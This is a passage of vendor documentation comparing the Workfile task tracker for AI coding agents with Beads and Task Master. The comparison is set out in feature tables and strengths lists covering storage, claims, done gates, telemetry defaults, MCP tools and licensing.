per-issue history from Dolt ([history](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/history.go#L16-L18)) | | MCP server | `workfile mcp`, in the same package, 32 tools | `beads-mcp`, a separate Python ≥ 3.10 package that calls the `bd` CLI, 15 tools ([server](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/integrations/beads-mcp/src/beads_mcp/server.py), [package](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/integrations/beads-mcp/pyproject.toml#L6)) | | UI | Local web UI | None built in; `bd graph --html` and community UIs ([list](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/docs/COMMUNITY_TOOLS.md#L10-L43)) | | Usage data by default | None; one npm version check a day, removed by `upgrade: { check: false }` | Usage metrics on unless disabled: each command's name with the bd version, OS, timestamps and an HMAC-hashed machine ID; `bd metrics off` or `BD_DISABLE_METRICS=1` ([payload](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/metrics.go#L189-L206), [default](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/main.go#L1510-L1518), [off](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/metrics.go#L75-L96)) | | Runtime | Node.js ≥ 22 | A single Go binary through Homebrew, npm, `go install`, AUR or an install script ([README](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/README.md#L86-L93)) | | License | MIT | MIT | ## Where Beads is stronger - **Adoption.** 27,150 GitHub stars ([GitHub](https://api.github.com/repos/gastownhall/beads)), packages on Homebrew, npm and AUR, and more than ten community UIs and editor extensions. - **No runtime to install.** A single Go binary; Workfile needs Node.js 22. - **Claim the next ready issue in one step.** `bd ready --claim` picks and claims in one transaction ([issues.go](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/storage/dolt/issues.go#L243-L251)); `bd close --claim-next` closes, then claims the top ready issue ([close](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/close.go#L224-L251)). - **The dependency graph.** Nineteen dependency types, four of which gate the ready queue ([types](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/internal/types/types.go#L845-L847)), templates that create whole graphs, and an HTML graph. - **Gates that check themselves.** A CI run, a pull request, a timer or another issue; `bd close` refuses until they resolve, unless `--force` is given or the check cannot run ([close](https://github.com/gastownhall/beads/blob/6c124203e771433a3550c348771a5b5e27fd3c21/cmd/bd/close.go#L424-L485)). - **Merging from Dolt.** Field-level merges, branches, push and pull between machines, and hash IDs, so issues created on different machines don't collide. - **Integrations** with Linear, Jira, GitHub, GitLab, Azure DevOps and Notion. ## Where Workfile is stronger - **Plain files.** Every record is a Markdown file a reviewer reads in the pull request, with no database beside the code. - **Claims scoped to paths, enforced after the claim.** Another actor cannot move or release the card, and Claude Code asks before an edit inside its scope. - **A done gate** on acceptance criteria, with a forced close keeping its reason. - **History and typed memory.** Changelog fragments cut into releases; decisions, learnings, incidents and conventions that `workfile agents context` hands to the next agent. - **One package** for the CLI, the web UI, the HTTP API and the MCP server, and no usage data sent. ## Which to choose - **Beads** if many agents drain a large dependency graph, gates on CI and pull requests matter, and a database beside the code is acceptable. - **Workfile** if the records should be plain files reviewed in pull requests, "done" must mean the criteria are checked, and nothing should be sent by default. --- --- title: Workfile vs Task Master — task tracking for AI coding agents, compared label: vs Task Master description: Task Master turns a PRD into tasks with a model and ships 44 MCP tools. Workfile never calls a model, keeps Markdown in the repository and refuses done with open criteria. checked: 2026-09-14 --- # Workfile vs Task Master Task Master (`task-master-ai`) and Workfile answer different questions. Task Master plans: it hands a PRD to a model, gets back a tree of tasks, then expands, scopes and researches them. Workfile records: it keeps the tasks, decisions and changelog that people and agents produce as Markdown in the repository, and refuses the writes that would make them untrue. Task Master has many times the users. It also keeps every task in one JSON file, lets an agent mark a task done without checks, and turns on Sentry reporting unless `anonymousTelemetry` is set to `false`. Read against Task Master [0.43.1](https://registry.npmjs.org/task-master-ai) — its latest release, from 2026-03-31 — at commit [`1c7365c`](https://github.com/eyaltoledano/claude-task-master/tree/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e), and `@illodev/workfile` 0.13.2. The telemetry was also read in the published npm tarball, not only in the source. ## Side by side | | Workfile 0.13.2 | Task Master 0.43.1 | | --- | --- | --- | | Records | One Markdown file per record in `.project/` | One `.taskmaster/tasks/tasks.json`; `parse-prd` and the tag commands keep each tag as a top-level key ([parse-prd](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/task-manager/parse-prd/parse-prd-helpers.js#L229-L257)); `task_NNN.md` files are generated from it ([generator](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/tasks/services/task-file-generator.service.ts#L130-L138)) | | Hosted storage | None | Optional Hamster storage, used automatically in the default `auto` mode when API credentials are configured or when logged in with a brief selected ([factory](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/storage/services/storage-factory.ts#L109-L153)) | | Record types | Cards with parents and dependencies, docs, changelog, memory | Tasks, one level of subtasks, dependencies, tags, complexity reports ([types](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/common/types/index.ts#L131-L176)) | | Who holds a task | A claim over paths; other actors' transitions refused | `assignee` is a list filter ([source](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/tasks/services/task-service.ts#L455-L460)); a file lock prevents lost writes ([lock](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/storage/adapters/file-storage/file-operations.ts#L1-L27)) | | Done without verification | Refused with `CARD_ACCEPTANCE_UNMET` | Allowed: `set_task_status` writes the status ([storage](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/storage/adapters/file-storage/file-storage.ts#L451-L494)). The opt-in autopilot refuses to leave GREEN unless the agent reports zero failing tests; it does not run the tests itself ([orchestrator](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/packages/tm-core/src/modules/workflow/orchestrators/workflow-orchestrator.ts#L222-L230), [tool](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/apps/mcp/src/tools/autopilot/complete.tool.ts#L15-L22)) | | Model calls | None | `parse-prd`, `expand`, `add-task` (unless title and description are given by hand), `update`, `analyze-complexity`, `scope-up`/`scope-down` and `research` send content to the configured provider ([AI service](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/ai-services-unified.js#L498)) | | API key | None | Required for API providers; not for Claude Code, Codex, Gemini CLI, Ollama or MCP sampling ([source](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/ai-services-unified.js#L390-L410)) | | Usage data by default | None; one npm version check a day, removed by `upgrade: { check: false }` | Sentry, on by default and turned off only by `anonymousTelemetry: false` in `.taskmaster/config.json`; the MCP server looks for that file from its working directory. Initialised with `sendDefaultPii: true`, full trace sampling, and AI input and output recording ([sentry](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/src/telemetry/sentry.js#L43-L94), [default](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/scripts/modules/config-manager.js#L744-L747)) | | MCP server | `workfile mcp`, stdio, 32 tools | `npx -y task-master-ai`, stdio, 44 tools; 7 load unless `TASK_MASTER_TOOLS` says otherwise ([registry](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/mcp-server/src/tools/tool-registry.js#L59-L118), [default](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/mcp-server/src/tools/index.js#L20-L26)) | | Changelog | Fragments cut into releases | None for projects | | UI | Local web UI | A VS Code Kanban extension; no local web UI (Hamster, the optional hosted storage, is a web app) | | Runtime | Node.js ≥ 22 | Node.js ≥ 20 ([npm](https://registry.npmjs.org/task-master-ai)) | | License | MIT | MIT with the Commons Clause, which withholds the right to sell the software; GitHub reports it as `NOASSERTION` ([LICENSE](https://github.com/eyaltoledano/claude-task-master/blob/1c7365cab1f1d8ee5b0ecc2292a9ba9cf5efea2e/LICENSE), [GitHub](https://api.github.com/repos/eyaltoledano/claude-task-master/license)) | ## Where Task Master is stronger - **From a document to a plan.** `parse_prd` builds a task tree in one call, backed by `expand`, complexity analysis, scoping and `research`. Workfile has nothing like it; it does not call a model. - **Adoption.** 28,071 GitHub stars and 9,868 npm downloads in the week to 2026-09-11 ([GitHub](https://api.github.com/repos/eyaltoledano/claude-task-master), [npm](https://api.npmjs.org/downloads/point/last-week/task-master-ai)). - **A small default MCP surface.** 7 tools unless configured, against Workfile's 32 always. - **Provider breadth,** including routes that need no API key. - **Execution automation.** An autopilot TDD state machine that commits, and a loop that re-runs Claude Code. - **Editor integration.** A VS Code Kanban extension and rule files for many editors. - **Node.js 20** is enough. ## Where Workfile is stronger - **Nothing leaves the machine** but a daily version check you can turn off, and no model is ever called. - **One file per record.** Two branches that touch different cards touch different files, and each change is read in the pull request. - **Claims that refuse** and **a done gate** that holds whichever surface writes — CLI, HTTP or MCP. - **History and typed memory** beside the work. - **Plain MIT.** ## Which to choose - **Task Master** if the hard part is turning a spec into tasks and a model doing it is welcome. - **Workfile** if the hard part is several agents executing without stepping on each other and proving the result, with nothing sent anywhere.